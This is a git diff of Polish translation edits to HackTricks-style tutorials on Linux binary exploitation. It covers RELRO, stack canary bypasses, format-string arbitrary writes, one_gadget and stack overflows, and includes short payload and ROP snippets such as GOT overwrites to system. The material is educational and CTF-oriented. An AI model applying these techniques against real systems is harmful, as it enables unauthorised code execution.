powyżej zmiennych programu w pamięci, Partial RELRO ma na celu zapobieganie przepełnieniom bufora, które mogłyby dotrzeć do GOT i go uszkodzić**. +**Partial RELRO** przyjmuje prostsze podejście do zwiększenia bezpieczeństwa bez znaczącego wpływu na wydajność binariów. Poprzez **umiejscowienie GOT powyżej zmiennych programu w pamięci, Partial RELRO ma na celu zapobieżenie przepełnieniom bufora, które mogłyby dotrzeć do GOT i go uszkodzić**. -To **nie zapobiega nadużywaniu GOT** w przypadku **wrażliwości na dowolne zapisy**. +To **nie zapobiega nadużywaniu GOT** z **wrażliwości na dowolne zapisy**. ### **Full RELRO** -**Full RELRO** zwiększa ochronę poprzez **uczynienie GOT całkowicie tylko do odczytu.** Gdy plik binarny się uruchamia, wszystkie adresy funkcji są rozwiązywane i ładowane w GOT, a następnie GOT jest oznaczany jako tylko do odczytu, co skutecznie zapobiega jakimkolwiek modyfikacjom w czasie wykonywania. +**Full RELRO** zwiększa ochronę poprzez **uczynienie GOT całkowicie tylko do odczytu.** Gdy tylko binaria się uruchomią, wszystkie adresy funkcji są rozwiązywane i ładowane w GOT, a następnie GOT jest oznaczany jako tylko do odczytu, co skutecznie zapobiega jakimkolwiek modyfikacjom w czasie wykonywania. -Jednak kompromis związany z Full RELRO dotyczy wydajności i czasu uruchamiania. Ponieważ musi rozwiązać wszystkie dynamiczne symbole podczas uruchamiania przed oznaczeniem GOT jako tylko do odczytu, **pliki binarne z włączonym Full RELRO mogą doświadczać dłuższych czasów ładowania**. Ten dodatkowy narzut przy uruchamianiu to powód, dla którego Full RELRO nie jest domyślnie włączony we wszystkich plikach binarnych. +Jednakże, kompromis związany z Full RELRO dotyczy wydajności i czasu uruchamiania. Ponieważ musi rozwiązać wszystkie symbole dynamiczne podczas uruchamiania przed oznaczeniem GOT jako tylko do odczytu, **binarie z włączonym Full RELRO mogą doświadczać dłuższych czasów ładowania**. Ten dodatkowy narzut przy uruchamianiu to powód, dla którego Full RELRO nie jest domyślnie włączony we wszystkich binariach. -Można sprawdzić, czy Full RELRO jest włączony w pliku binarnym za pomocą: +Można sprawdzić, czy Full RELRO jest włączony w binarze za pomocą: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` ## Bypass -Jeśli Full RELRO jest włączony, jedynym sposobem na obejście go jest znalezienie innej metody, która nie wymaga zapisywania w tabeli GOT, aby uzyskać dowolne wykonanie. +Jeśli Full RELRO jest włączony, jedynym sposobem na obejście go jest znalezienie innej metody, która nie wymaga zapisu w tabeli GOT, aby uzyskać dowolne wykonanie. -Zauważ, że GOT LIBC jest zazwyczaj Partial RELRO, więc może być modyfikowany za pomocą dowolnego zapisu. Więcej informacji w [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +Należy zauważyć, że GOT LIBC jest zazwyczaj Partial RELRO, więc można go modyfikować za pomocą dowolnego zapisu. Więcej informacji w [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md index e1eae9e0a..d96fbc41a 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -4,15 +4,15 @@ ## **StackGuard i StackShield** -**StackGuard** wstawia specjalną wartość znaną jako **canary** przed **EIP (Extended Instruction Pointer)**, konkretnie `0x000aff0d` (reprezentujący null, newline, EOF, carriage return), aby chronić przed przepełnieniem bufora. Jednak funkcje takie jak `recv()`, `memcpy()`, `read()`, i `bcopy()` pozostają podatne, a ochrona nie obejmuje **EBP (Base Pointer)**. +**StackGuard** wstawia specjalną wartość znaną jako **canary** przed **EIP (Extended Instruction Pointer)**, konkretnie `0x000aff0d` (reprezentująca null, newline, EOF, carriage return), aby chronić przed przepełnieniem bufora. Jednak funkcje takie jak `recv()`, `memcpy()`, `read()`, i `bcopy()` pozostają podatne, a ochrona nie obejmuje **EBP (Base Pointer)**. **StackShield** przyjmuje bardziej zaawansowane podejście niż StackGuard, utrzymując **Global Return Stack**, który przechowuje wszystkie adresy powrotu (**EIPs**). Ta konfiguracja zapewnia, że każde przepełnienie nie powoduje szkód, ponieważ pozwala na porównanie przechowywanych i rzeczywistych adresów powrotu w celu wykrycia wystąpień przepełnienia. Dodatkowo, StackShield może sprawdzić adres powrotu w porównaniu do wartości granicznej, aby wykryć, czy **EIP** wskazuje poza oczekiwaną przestrzeń danych. Jednak ta ochrona może być obejściem za pomocą technik takich jak Return-to-libc, ROP (Return-Oriented Programming) lub ret2ret, co wskazuje, że StackShield również nie chroni zmiennych lokalnych. ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -Ten mechanizm umieszcza **canary** przed **EBP** i reorganizuje zmienne lokalne, aby umieścić bufory na wyższych adresach pamięci, zapobiegając ich nadpisywaniu innych zmiennych. Bezpiecznie kopiuje również argumenty przekazywane na stosie powyżej zmiennych lokalnych i używa tych kopii jako argumentów. Jednak nie chroni tablic z mniej niż 8 elementami ani buforów w strukturze użytkownika. +Ten mechanizm umieszcza **canary** przed **EBP** i reorganizuje zmienne lokalne, aby umieścić bufory na wyższych adresach pamięci, zapobiegając ich nadpisywaniu innych zmiennych. Bezpiecznie kopiuje również argumenty przekazywane na stosie powyżej zmiennych lokalnych i używa tych kopii jako argumentów. Jednak nie chroni tablic o mniej niż 8 elementach ani buforów w strukturze użytkownika. -**Canary** to losowa liczba pochodząca z `/dev/urandom` lub domyślna wartość `0xff0a0000`. Jest przechowywana w **TLS (Thread Local Storage)**, co pozwala na współdzielenie przestrzeni pamięci między wątkami, aby miały one specyficzne dla wątku zmienne globalne lub statyczne. Te zmienne są początkowo kopiowane z procesu nadrzędnego, a procesy potomne mogą zmieniać swoje dane bez wpływu na proces nadrzędny lub rodzeństwo. Niemniej jednak, jeśli **`fork()` jest używane bez tworzenia nowego canary, wszystkie procesy (nadrzędne i potomne) dzielą ten sam canary**, co czyni je podatnymi. W architekturze **i386** canary jest przechowywane w `gs:0x14`, a w **x86_64** w `fs:0x28`. +**Canary** to losowa liczba pochodząca z `/dev/urandom` lub domyślna wartość `0xff0a0000`. Jest przechowywana w **TLS (Thread Local Storage)**, co pozwala na współdzielenie przestrzeni pamięci między wątkami, aby miały one specyficzne dla wątku zmienne globalne lub statyczne. Te zmienne są początkowo kopiowane z procesu macierzystego, a procesy potomne mogą zmieniać swoje dane bez wpływu na proces macierzysty lub rodzeństwo. Niemniej jednak, jeśli **`fork()` jest używane bez tworzenia nowego canary, wszystkie procesy (macierzysty i potomne) dzielą ten sam canary**, co czyni je podatnymi. W architekturze **i386** canary jest przechowywane w `gs:0x14`, a w **x86_64** w `fs:0x28`. Ta lokalna ochrona identyfikuje funkcje z buforami podatnymi na ataki i wstrzykuje kod na początku tych funkcji, aby umieścić canary, a na końcu, aby zweryfikować jego integralność. @@ -57,7 +57,7 @@ Przepełnienie bufora w funkcji wątkowej chronionej canary może być użyte do - **Modyfikacja wpisu GOT `__stack_chk_fail`** -Jeśli binarny kod ma Partial RELRO, można użyć dowolnego zapisu, aby zmodyfikować wpis GOT `__stack_chk_fail`, aby był to funkcja zastępcza, która nie blokuje programu, jeśli canary zostanie zmodyfikowane. +Jeśli binarny kod ma Partial RELRO, można użyć dowolnego zapisu, aby zmodyfikować wpis GOT `__stack_chk_fail`, aby był funkcją zastępczą, która nie blokuje programu, jeśli canary zostanie zmodyfikowane. ## Odniesienia diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 3a458654e..d71c42cef 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -14,7 +14,7 @@ Najlepszym sposobem na obejście prostego canary jest, jeśli binarny plik to program **forkujący procesy potomne za każdym razem, gdy nawiązujesz z nim nowe połączenie** (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, **używany jest ten sam canary**. -Najlepszym sposobem na obejście canary jest po prostu **brute-forcing go znak po znaku**, a możesz ustalić, czy zgadnięty bajt canary był poprawny, sprawdzając, czy program się zawiesił, czy kontynuuje swój normalny przebieg. W tym przykładzie funkcja **brute-forces 8-bajtowy canary (x64)** i rozróżnia między poprawnie zgadniętym bajtem a złym bajtem, po prostu **sprawdzając**, czy **odpowiedź** została wysłana z serwera (innym sposobem w **innej sytuacji** może być użycie **try/except**): +Najlepszym sposobem na obejście canary jest po prostu **brute-forcing go znak po znaku**, a możesz ustalić, czy zgadnięty bajt canary był poprawny, sprawdzając, czy program się zawiesił, czy kontynuuje swój normalny przebieg. W tym przykładzie funkcja **brute-forces 8-bajtowy canary (x64)** i rozróżnia między poprawnie zgadniętym bajtem a złym bajtem, po prostu **sprawdzając**, czy **odpowiedź** została odesłana przez serwer (innym sposobem w **innej sytuacji** mogłoby być użycie **try/except**): ### Example 1 @@ -136,7 +136,7 @@ pthread_join(thread, NULL); return 0; } ``` -Zauważ, że `vuln` jest wywoływana w wątku. W GDB możemy przyjrzeć się `vuln`, a konkretnie punktowi, w którym program wywołuje `gets`, aby odczytać dane wejściowe: +Zauważ, że `vuln` jest wywoływane wewnątrz wątku. W GDB możemy przyjrzeć się `vuln`, a konkretnie punktowi, w którym program wywołuje `gets`, aby odczytać dane wejściowe: ```bash gef> break gets Breakpoint 1 at 0x4010a0 diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md index eea7c31ed..cd7e880a1 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md @@ -6,7 +6,7 @@ Kiedy wysyłasz exploit do zdalnego serwera, który wywołuje **`system('/bin/sh')`**, to zostanie on wykonany w procesie serwera, a `/bin/sh` będzie oczekiwał na dane wejściowe z stdin (FD: `0`) i będzie wypisywał wyniki na stdout i stderr (FDs `1` i `2`). Tak więc atakujący nie będzie mógł interagować z powłoką. -Sposobem na naprawienie tego jest założenie, że kiedy serwer się uruchomił, utworzył **FD numer `3`** (do nasłuchiwania) i że następnie, twoje połączenie będzie w **FD numer `4`**. Dlatego możliwe jest użycie syscall **`dup2`**, aby zduplikować stdin (FD 0) i stdout (FD 1) w FD 4 (tym od połączenia atakującego), co umożliwi kontakt z powłoką, gdy zostanie ona wykonana. +Sposobem na naprawienie tego jest założenie, że kiedy serwer został uruchomiony, utworzył **FD numer `3`** (do nasłuchiwania), a następnie twoje połączenie będzie w **FD numer `4`**. Dlatego możliwe jest użycie syscall **`dup2`**, aby zduplikować stdin (FD 0) i stdout (FD 1) w FD 4 (tym od połączenia atakującego), co umożliwi kontakt z powłoką, gdy zostanie ona wykonana. [**Przykład exploita stąd**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md index abb28b1b1..0e602d2bd 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md @@ -41,11 +41,11 @@ Poprzedni program ma **9 nagłówków programów**, a **mapowanie segmentów** w ### PHDR - Nagłówek Programu -Zawiera tabele nagłówków programów oraz same metadane. +Zawiera tabele nagłówków programów oraz metadane. ### INTERP -Wskazuje ścieżkę do loadera, który ma być użyty do załadowania binarnego do pamięci. +Wskazuje ścieżkę do ładowarki, która ma być użyta do załadowania binarnego do pamięci. ### LOAD @@ -60,11 +60,11 @@ Ten nagłówek pomaga w łączeniu programów z ich zależnościami biblioteczny ### NOTE -Przechowuje informacje metadanych dostawcy dotyczące binarnego. +Przechowuje informacje metadane dostawcy dotyczące binarnego. ### GNU_EH_FRAME -Definiuje lokalizację tabel odwracania stosu, używanych przez debugery i funkcje obsługi wyjątków C++. +Definiuje lokalizację tabel do rozwijania stosu, używanych przez debugery i funkcje obsługi wyjątków C++. ### GNU_STACK @@ -80,7 +80,7 @@ Zauważ, że RELRO może być częściowy lub pełny, wersja częściowa nie chr ### TLS -Definiuje tabelę wpisów TLS, która przechowuje informacje o zmiennych lokalnych wątków. +Definiuje tabelę wpisów TLS, która przechowuje informacje o zmiennych lokalnych dla wątków. ## Nagłówki Sekcji @@ -145,13 +145,13 @@ CONTENTS, READONLY 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 CONTENTS, READONLY ``` -Wskazuje również lokalizację, offset, uprawnienia, ale także **typ danych**, który ma sekcja. +Wskazuje również lokalizację, przesunięcie, uprawnienia, ale także **typ danych**, który ma sekcja. ### Sekcje Meta -- **Tabela ciągów**: Zawiera wszystkie ciągi potrzebne przez plik ELF (ale nie te, które są faktycznie używane przez program). Na przykład zawiera nazwy sekcji takie jak `.text` lub `.data`. A jeśli `.text` znajduje się na offsecie 45 w tabeli ciągów, użyje liczby **45** w polu **nazwa**. +- **Tabela ciągów**: Zawiera wszystkie ciągi potrzebne przez plik ELF (ale nie te, które są faktycznie używane przez program). Na przykład zawiera nazwy sekcji takie jak `.text` lub `.data`. A jeśli `.text` znajduje się na przesunięciu 45 w tabeli ciągów, użyje liczby **45** w polu **nazwa**. - Aby znaleźć, gdzie znajduje się tabela ciągów, ELF zawiera wskaźnik do tabeli ciągów. -- **Tabela symboli**: Zawiera informacje o symbolach, takie jak nazwa (offset w tabeli ciągów), adres, rozmiar i więcej metadanych o symbolu. +- **Tabela symboli**: Zawiera informacje o symbolach, takie jak nazwa (przesunięcie w tabeli ciągów), adres, rozmiar i inne metadane dotyczące symbolu. ### Sekcje Główne @@ -188,7 +188,7 @@ Num: Value Size Type Bind Vis Ndx Name Każdy wpis symbolu zawiera: - **Nazwa** -- **Atrybuty powiązania** (słaby, lokalny lub globalny): Lokalny symbol może być dostępny tylko przez sam program, podczas gdy globalny symbol jest udostępniany na zewnątrz programu. Słaby obiekt to na przykład funkcja, która może być nadpisana przez inną. +- **Atrybuty powiązania** (słaby, lokalny lub globalny): Lokalny symbol może być dostępny tylko przez sam program, podczas gdy symbole globalne są udostępniane na zewnątrz programu. Słaby obiekt to na przykład funkcja, która może być nadpisana przez inną. - **Typ**: NOTYPE (typ nieokreślony), OBJECT (globalna zmienna danych), FUNC (funkcja), SECTION (sekcja), FILE (plik źródłowy dla debuggerów), TLS (zmienna lokalna wątku), GNU_IFUNC (funkcja pośrednia do relokacji) - **Indeks sekcji**, w której się znajduje - **Wartość** (adres w pamięci) @@ -308,7 +308,7 @@ Offset Info Type Sym. Value Sym. Name + Addend ``` ### Statyczne Relokacje -Jeśli **program jest ładowany w innym miejscu** niż preferowany adres (zwykle 0x400000), ponieważ adres jest już używany lub z powodu **ASLR** lub jakiegokolwiek innego powodu, statyczna relokacja **poprawia wskaźniki**, które miały wartości oczekujące, że binarka zostanie załadowana w preferowanym adresie. +Jeśli **program jest ładowany w innym miejscu** niż preferowany adres (zwykle 0x400000), ponieważ adres jest już używany lub z powodu **ASLR** lub innego powodu, statyczna relokacja **poprawia wskaźniki**, które miały wartości oczekujące, że binarka zostanie załadowana w preferowanym adresie. Na przykład każda sekcja typu `R_AARCH64_RELATIV` powinna mieć zmodyfikowany adres na podstawie przesunięcia relokacji plus wartość dodana. @@ -320,7 +320,7 @@ Relokacja może również odnosić się do zewnętrznego symbolu (jak funkcja z Sekcja PLT pozwala na leniwe wiązanie, co oznacza, że rozwiązywanie lokalizacji funkcji będzie wykonywane za pierwszym razem, gdy zostanie ona wywołana. -Więc gdy program wywołuje malloc, tak naprawdę wywołuje odpowiednią lokalizację `malloc` w PLT (`malloc@plt`). Przy pierwszym wywołaniu rozwiązuje adres `malloc` i przechowuje go, więc następnym razem, gdy `malloc` jest wywoływane, ten adres jest używany zamiast kodu PLT. +Więc gdy program wywołuje malloc, tak naprawdę wywołuje odpowiednią lokalizację `malloc` w PLT (`malloc@plt`). Przy pierwszym wywołaniu rozwiązuje adres `malloc` i przechowuje go, więc następnym razem, gdy wywołana zostanie `malloc`, ten adres jest używany zamiast kodu PLT. ## Inicjalizacja Programu @@ -345,9 +345,9 @@ printf("Main\n"); return 0; } ``` -Zauważ, że te zmienne globalne znajdują się w `.data` lub `.bss`, ale w listach `__CTOR_LIST__` i `__DTOR_LIST__` obiekty do inicjalizacji i destrukcji są przechowywane w celu ich śledzenia. +Zauważ, że te zmienne globalne znajdują się w `.data` lub `.bss`, ale w listach `__CTOR_LIST__` i `__DTOR_LIST__` obiekty do zainicjowania i zniszczenia są przechowywane w celu ich śledzenia. -Z kodu C można uzyskać ten sam wynik, używając rozszerzeń GNU: +Z kodu C możliwe jest uzyskanie tego samego wyniku przy użyciu rozszerzeń GNU: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md index 858947731..3dbcce4d1 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md @@ -4,9 +4,9 @@ ## Podstawowe informacje -W C **`printf`** to funkcja, która może być używana do **drukowania** pewnego ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatami**. **Następne parametry** to **wartości**, które mają **zastąpić** **formaty** w surowym tekście. +W C **`printf`** to funkcja, która może być użyta do **drukowania** pewnego ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatami**. **Następne parametry** to **wartości**, które mają **zastąpić** **formaty** w surowym tekście. -Luka pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wejściowe, które wykorzystują** możliwości **formatu printf** do odczytu i **zapisu dowolnych danych w dowolnym adresie (czytliwym/zapisywalnym)**. Dzięki temu będzie mógł **wykonać dowolny kod**. +Luka pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wejściowe, które wykorzystują** możliwości **formatu printf** do odczytu i **zapisu dowolnych danych w dowolnym adresie (czytelny/zapisywalny)**. Dzięki temu będzie mógł **wykonać dowolny kod**. #### Formatery: ```bash @@ -41,9 +41,9 @@ Format **`%$x`**, gdzie `n` to liczba, pozwala wskazać printf, aby wybrał n ```c printf("%x %x %x %x") ``` -i możesz czytać od pierwszego do czwartego parametru. +i czytałbyś od pierwszego do czwartego parametru. -Lub możesz zrobić: +Lub mógłbyś zrobić: ```c printf("$4%x") ``` @@ -76,12 +76,12 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' Formatter **`$%n`** **zapisuje** **liczbę zapisanych bajtów** w **wskazanym adresie** w parametrze \ na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie w stanie sprawić, że **`$%n`** zapisze arbitralną liczbę w arbitralnym adresie. -Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, aby to zrobić, można użyć formatera **`%.%$n`**, aby zapisać liczbę **``** w **adresie wskazywanym przez pozycję `num`**. +Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, aby to zrobić, można użyć formatera **`%.%$n`** do zapisania liczby **``** w **adresie wskazywanym przez pozycję `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Jednakże, należy zauważyć, że zazwyczaj, aby zapisać adres taki jak `0x08049724` (co jest OGROMNĄ liczbą do zapisania na raz), **używa się `$hn`** zamiast `$n`. Pozwala to na **zapisanie tylko 2 bajtów**. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla najwyższych 2B adresu, a drugi raz dla najniższych. +Jednakże, zauważ, że zazwyczaj, aby zapisać adres taki jak `0x08049724` (co jest OGROMNĄ liczbą do zapisania na raz), **używa się `$hn`** zamiast `$n`. Pozwala to na **zapisanie tylko 2 bajtów**. Dlatego ta operacja jest wykonywana dwa razy, raz dla najwyższych 2B adresu, a drugi raz dla najniższych. Dlatego ta luka pozwala na **zapisanie czegokolwiek w dowolnym adresie (arbitralny zapis).** @@ -94,10 +94,10 @@ W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli Zamierzamy **nadpisać** **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **wskazać** ją na **funkcję** **`system`**.\ Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: **najpierw zapisujesz 2 bajty** adresu, a następnie kolejne 2. W tym celu używa się **`$hn`**. -- **HOB** odnosi się do 2 wyższych bajtów adresu -- **LOB** odnosi się do 2 niższych bajtów adresu +- **HOB** jest wywoływane dla 2 wyższych bajtów adresu +- **LOB** jest wywoływane dla 2 niższych bajtów adresu -Następnie, z powodu działania formatu ciągu, musisz **najpierw zapisać najmniejszy** z \[HOB, LOB\], a potem drugi. +Następnie, z powodu działania formatu ciągu, musisz **najpierw zapisać najmniejszy** z \[HOB, LOB], a potem drugi. Jeśli HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -145,6 +145,6 @@ p.interactive() - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bity, relro, brak canary, nx, brak pie, format string do nadpisania adresu `fflush` funkcją win (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bity, relro, brak canary, nx, brak pie, format string do zapisania adresu wewnątrz main w `.fini_array` (tak aby przepływ wrócił jeszcze raz) i zapisania adresu do `system` w tabeli GOT wskazującego na `strlen`. Gdy przepływ wróci do main, `strlen` zostanie wykonane z danymi wejściowymi użytkownika i wskazując na `system`, wykona przekazane polecenia. +- 32 bity, relro, brak canary, nx, brak pie, format string do zapisania adresu wewnątrz main w `.fini_array` (tak aby przepływ wrócił jeszcze raz) i zapisania adresu do `system` w tabeli GOT wskazującej na `strlen`. Gdy przepływ wróci do main, `strlen` zostanie wykonane z danymi wejściowymi użytkownika i wskazując na `system`, wykona przekazane polecenia. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md index 8bd87ba7d..3ae08f2d2 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md @@ -5,16 +5,16 @@ ## Podstawowe informacje [**One Gadget**](https://github.com/david942j/one_gadget) pozwala uzyskać powłokę zamiast używać **system** i **"/bin/sh". One Gadget** znajdzie w bibliotece libc sposób na uzyskanie powłoki (`execve("/bin/sh")`) używając tylko jednego **adresu**.\ -Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości wewnątrz **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte. +Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to takie jak `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości wewnątrz **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte. ![](<../../images/image (615).png>) ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` -Aby uzyskać adres wskazany przez One Gadget, musisz **dodać podstawowy adres, w którym załadowana jest `libc`**. +Aby uzyskać adres wskazany przez One Gadget, musisz **dodać adres bazowy, w którym załadowana jest `libc`**. > [!TIP] -> One Gadget to **wielka pomoc dla technik Arbitrary Write 2 Exec** i może **upraszczać łańcuchy ROP**, ponieważ musisz tylko wywołać jeden adres (i spełnić wymagania). +> One Gadget to **świetna pomoc dla technik Arbitrary Write 2 Exec** i może **upraszczać łańcuchy ROP**, ponieważ musisz tylko wywołać jeden adres (i spełnić wymagania). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md index 85ae0fbb5..43f4e61b6 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md @@ -9,7 +9,7 @@ Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie je nadpisać i **kontrolować przepływ wykonania programu**. Luka ta zazwyczaj pojawia się, ponieważ funkcja **kopiuje na stos więcej bajtów niż ilość przydzielona dla niej**, co pozwala na nadpisanie innych części stosu.\ -Niektóre powszechne funkcje podatne na to to: `strcpy`, `strcat`, `sprintf`, `gets`... Ponadto funkcje takie jak `fgets` lub `read`, które przyjmują argument długości, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona. +Niektóre powszechne funkcje podatne na to to: `strcpy`, `strcat`, `sprintf`, `gets`... Również funkcje takie jak `fgets` lub `read`, które przyjmują argument długości, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona. Na przykład, następujące funkcje mogą być podatne: ```c @@ -24,7 +24,7 @@ printf("You entered: %s\n", buffer); Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**. -Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć offset, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Bruijn.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości **_**n**_** pojawia się dokładnie raz** jako kontiguująca podsekwencja. +Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć offset, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Bruijn.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencjach o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości **_**n**_** pojawia się dokładnie raz** jako kontiguująca podsekwencja. W ten sposób, zamiast ręcznie ustalać, jaki offset jest potrzebny do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć offset bajtów, które zakończyły nadpisywanie. @@ -52,17 +52,17 @@ pattern search $rsp #Search the offset given the content of $rsp Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie nadpisać wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych EBP/RBP i EIP/RIP (lub nawet więcej).\ Najczęstszym sposobem nadużywania tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku. -Jednak w innych scenariuszach może być wystarczające **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania (jak w łatwych wyzwaniach CTF). +Jednak w innych scenariuszach może wystarczyć po prostu **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania (jak w łatwych wyzwaniach CTF). ### Ret2win -W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będzie wyłączone), aby po powrocie z funkcji podatnej, ukryta funkcja została wywołana: +W tego typu wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binarnego pliku, która **nigdy nie jest wywoływana** i którą **musisz wywołać, aby wygrać**. W tych wyzwaniach musisz tylko znaleźć **offset do nadpisania adresu powrotu** i **znaleźć adres funkcji**, którą chcesz wywołać (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będzie wyłączony), aby po powrocie z funkcji podatnej, ukryta funkcja została wywołana: {{#ref}} ret2win.md {{#endref}} -### Shellcode w stosie +### Shellcode na stosie W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod: @@ -72,7 +72,7 @@ 